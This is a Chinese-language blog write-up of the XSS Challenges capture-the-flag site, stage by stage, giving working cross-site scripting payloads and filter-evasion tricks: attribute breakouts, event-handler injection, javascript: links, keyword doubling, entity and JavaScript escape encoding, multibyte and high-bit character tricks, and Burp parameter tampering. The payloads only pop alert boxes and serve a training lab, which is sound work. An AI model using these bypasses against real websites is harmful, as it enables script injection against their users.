美文网首页
XSS Challenges

XSS Challenges

作者: BerL1n | 来源:发表于2018-05-04 15:25 被阅读0次

    Stage#1

    http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9
    第一题往往最简单

    图片.png
    查看源代码
    图片.png
    可看到输入框,很简单直接闭合value

    "><script>alert(document.domain)</script>

    图片.png

    Stage#2

    http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1

    基本上和第一题完全一样

    "><script>alert(document.domain)</script>

    Stage#3

    http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5
    这题就有点变化了,当我们尝试输入<script>alert(document.domain)</script>时,发现不行了,查看源代码

    图片.png
    发现<>被过滤了
    图片.png
    但我们可以尝试从country入手
    使用burp抓包,然后修改country内容
    图片.png
    修改成我们想要的
    图片.png

    Stage#4

    http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87

    图片.png
    看起来和上关很相似,但我们尝试在search和country处插入xss,但是查看源码发现都被转义了
    抓包吧
    图片.png
    抓包发现有三个参数,这时我们利用了第三个参数,得到结果
    图片.png

    Stage#5

    http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
    先查看源代码,发现对长度进行了限制,最大长度只有15

    图片.png
    正常情况下我们可以构造

    "><script>alert(document.domain)</script>

    但这里我们可以看到这是不行的


    图片.png

    只能输入这些,所以只好另寻他法,先用BURP尝试一下抓包后能不能完整输入


    图片.png
    可以看到完整输入,毫无限制
    图片.png

    成功弹窗

    Stage #6

    http://xss-quiz.int21h.jp/stage-no6.php?sid=236f8f125f43d1efffd8f96d6f8f5b590d880847
    这题按照前面的方法已经不行了,查看源代码

    图片.png
    发现应该是对>标签进行了过滤,并且根据提示event handler attributes(事件处理程序属性 ),提示我们要用事件属性来处理了,下面构造

    " onmouseover="alert(document.domain)

    试一下

    图片.png

    成功

    Stage #7

    http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
    看起来与上题相似,试一下发现出错,查看源代码

    图片.png
    发现将"也过滤掉了
    那就需要对"进行绕过了,我们可以采用空格分割属性,不使用",从而绕过"

    test onmouseover=alert(document.domain)

    图片.png
    图片.png

    发现可以


    图片.png
    这就是在源代码中的形式

    Stage #8

    http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80

    本关就是考查 javascript:伪协议在a标签的使用了

    PAYLAOD:

    javascript:alert(document.domain)

    图片.png
    图片.png

    Stage #10

    http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
    通过提示查看应该是对domain进行了过滤

    图片.png
    所以我们要想办法绕过domain的过滤因此采用

    "><script>alert(document.domdomainain)</script>

    因为客户端会自动过滤掉domain,这dom(domain)ain变为domain


    图片.png
    图片.png

    成功绕过

    Stage #11

    http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
    查看源代码,发现对关键字进行了不少过滤

    图片.png
    所以只能想办法不利用这些串绕过,尝试构造
    1. "><a href=javascri&#09pt:alert(document.domain)>test</a> //&#09 tab制表符html十进制编码
    2. "><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的换行符,&colon;是冒号
    
    图片.png
    图片.png

    点击test弹窗

    Stage #12

    http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae

    图片.png
    发现也进行了过滤
    把\x00-\x20的字符与及<,>,",'都替换为空,那也只能寻求绕过的方法了,经发现这个``符号会在ie8中解析为引号,所以利用它便可成功绕过,但只能在ie中
    payload:

    ``onmousemove=alert(document.domain)

    Stage #13

    http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f
    本关提示style attribute,也就是style的属性问题。
    发现双引号被过滤了,那么就只能是style的payload了。

    图片.png

    xss:expression(onmousemove=function(){alert(document.domain)})

    (为什么这么写,http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2224,说CSS样式的定义应该写进函数里,不然会报错)
    background-color:#f00;background:url("javascript:alert(document.domain);"); 这种方式没有成功

    xss:expr/XSS/ession(alert(document.domain));

    background-color:#f00;background:url("javascript:alert(document.domain);");

    这两种应该只能在ie下,然而我并未成功

    Stage #15

    http://xss-quiz.int21h.jp/stage__15.php?sid=f530a129f54ea7c80420c9c8cd5ea68f3ea139c6
    这一关考的是dom xss
    这个是document.write()
    实验可知道这个会过滤掉<>
    由于ducument.write写的时候,
    script自解码机制
    HTML:进制编码:&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号(;)可以不要。
    HTML实体编码:即上面的那个HtmlEncode。<> &lt,&gt
    onclick里的这段JavaScript出现在HTML标签内,意味着这里的JavaScript可以进行HTML形式的编码

    如果用户输入出现在<script>里的JavaScript中用户输入的这段内容上下文环境是JavaScript,不是HTML(可以认为<script>标签里的内容和HTML环境毫无关系),此时用户输入的这段内容要遵守的是JavaScript法则,即JavaScript编码,具体有如下几种形式。

    Unicode形式:\uH(十六进制)。
    普通十六进制:\xH。
    纯转义:'、"、<、>这样在特殊字符之前加\进行转义。
    在JavaScript执行之前,这样的编码会自动解码

    既然这个地方会过滤掉<>,就可以先按照JS编码

    源码:<script>alert(document.domain)</script>

    因为是在js范畴,document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
    所以我们最终的payload应该是这样的。

    \x3cscript\x3ealert(document.domain)\x3c/script\x3e

    图片.png

    Stage #16

    图片.png

    提示内容;把\x 替换成了\\x,就是过滤掉了\x,但是js编码又不止16进制,还有八进制,unicode编码
    用unicode编码尝试

    \u003cscript\u003ealert(document.domain);\u003c/script\u003e

    图片.png

    用八进制编码,同样可以

    \74img src=x onerror=alert(document.domain)\76

    这是别人总结的能引起Dom XSS的入口函数:
    document.write()
    document.writeln()
    document.body.innerHtml
    eval()
    window.execScript()
    window.setInterval()
    window.setTimeout()

    Stage #17

    http://xss-quiz.int21h.jp/stage-No17.php?sid=463e60e61219d8df193508ef13f2c6626ee40ff6
    提示:multi-byte character
    思路类似于宽字节注入,利用特殊字节吃掉双引号
    半角片假名使用两个字节来表示。

    “第一位字节”使用0x8E
    “第二位字节”使用0xA1-0xDF

    JIS X 0208字元使用两个字节来表示。

    “第一位字节”使用0xA1-0xFE
    “第二位字节”使用0xA1-0xFE

    JIS X 0212字元使用三个字节来表示。

    “第一位字节”使用0x8F
    “第二位字节”使用0xA1-0xFE
    “第三位字节”使用0xA1-0xFE
    查看源代码


    图片.png

    目的是吃掉上面和下面一个双引号,然后使他们闭合,抓包修改p1,p2

    p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

    图片.png

    %A7,是随意的,只要是符合上面说的第一个字节范围即可。。
    由于浏览器版本问题无法显示结果

    Stage #18

    http://xss-quiz.int21h.jp/stage__No18.php?sid=b23d6719a639f5655a2966a2f5ade6ec86841851
    提示:us-ascii high bit issue
    将每个字符的二进制最高位置为1,然后再转为16进制
    比如说:

    < 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC

    ’ >同理变成BE

    “ 同理变成A2

    所以:

    "><script>alert(document.domain)</scirpt>

    就变成:

    %A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

    相关文章

      网友评论

          本文标题:XSS Challenges

          本文链接:https://www.haomeiwen.com/subject/bhimlftx.html